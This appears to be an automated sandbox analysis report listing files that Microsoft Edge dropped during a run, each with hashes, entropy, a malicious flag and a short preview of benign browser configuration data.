C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1ea9c5a9-c594-4d8f-b051-c0ec3a89b0d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3bc58cce-603f-46fe-aa5e-373c26c17d6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\651fd0f9-91a4-4ac0-8cd7-3cc25e1aece0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\791189ac-a835-4910-94f1-f6e321a40ef4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.3945106140513186
Encrypted:	false
SSDEEP:	96:ige+AZqMfMC/haMNrZ4Chaw6c1pjnYEwyG7YoYjcpx30cLGY:igdghjruoaw/1XwyG7Pccpt0cL5
MD5:	1BAD283CCFA4C73F2E579B356F4EB6BB
SHA1:	E6775D6CF8A84247DCC0F64800A5FA084E699091
SHA-256:	00781D646CF889AFCCE649C02F0FB472B000A06589787040BBD277ADABE6E313
SHA-512:	721D54A5507A40168A6D598E18FA010C9A9474B01E4A2AF79AC68CBA36C1644D23BF84ACC180773A35D04A4A5DD79F7604DFE1979D702E14BBAF3AD4D792C48E
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4005a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2149225377446766
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBTMq:uIEumQv8m1ccnvS6Vqqvv
MD5:	4BE7C270B97732F874119CFC1F4589D6
SHA1:	DD8000F350B0F0A2D9484AF9354EFAD265A9EBFB
SHA-256:	FA372E7494A3986E0E4D5EF35BC002E5F20110E5E35DBB186F81B988844E615C
SHA-512:	8193037C901ED691F8CADF8BA0C8A1B85B85B59FCF62A55861523DF7F5DB487DEDF77AA20C38794B2F601666531A1CB6F3F600B031564EE6DE756D7C5EC7F588
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF37698.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF384b2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF44b9c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4ec9e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF472bb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ac3156a1-2de6-4453-95b2-1a67c879aadf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c67a85a6-9722-477c-a454-b216b33b4a27.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\deec3be7-0a6c-4607-beaf-28f80cf3c20b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e2abba30-ae23-4004-b2e3-0708e855d282.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f0dbbd34-0ab3-4261-92c4-dfe6b4af432e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10200
Entropy (8bit):	5.122944162548479
Encrypted:	false
SSDEEP:	192:st6kdpHs/YsZihUkkR9ZH8pbV+F+tQw766W6aFIMY+PvYJ:st6QHs/YfhrbGIQwm6W6aTYf
MD5:	B581322BE6AD812959AA24B79CF7F972
SHA1:	37C1455EB4F0C2B872B9B7E53D5FAD211BF5399E
SHA-256:	D4A614BF2A332B0628190C9DAE166753ED3360D2E65B7FE234BF852692D2E84F
SHA-512:	98483603FD116DC7B416AF434C43760A92AC5BEACB3A308763F085375E371F4B795FF9640F9C5BEB71838A5984A276654FB8D3976631C6049CBC5A10523E9D8C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3b2b7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10200
Entropy (8bit):	5.122944162548479
Encrypted:	false
SSDEEP:	192:st6kdpHs/YsZihUkkR9ZH8pbV+F+tQw766W6aFIMY+PvYJ:st6QHs/YfhrbGIQwm6W6aTYf
MD5:	B581322BE6AD812959AA24B79CF7F972
SHA1:	37C1455EB4F0C2B872B9B7E53D5FAD211BF5399E
SHA-256:	D4A614BF2A332B0628190C9DAE166753ED3360D2E65B7FE234BF852692D2E84F
SHA-512:	98483603FD116DC7B416AF434C43760A92AC5BEACB3A308763F085375E371F4B795FF9640F9C5BEB71838A5984A276654FB8D3976631C6049CBC5A10523E9D8C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f127.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10200
Entropy (8bit):	5.122944162548479
Encrypted:	false
SSDEEP:	192:st6kdpHs/YsZihUkkR9ZH8pbV+F+tQw766W6aFIMY+PvYJ:st6QHs/YfhrbGIQwm6W6aTYf
MD5:	B581322BE6AD812959AA24B79CF7F972
SHA1:	37C1455EB4F0C2B872B9B7E53D5FAD211BF5399E
SHA-256:	D4A614BF2A332B0628190C9DAE166753ED3360D2E65B7FE234BF852692D2E84F
SHA-512:	98483603FD116DC7B416AF434C43760A92AC5BEACB3A308763F085375E371F4B795FF9640F9C5BEB71838A5984A276654FB8D3976631C6049CBC5A10523E9D8C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"c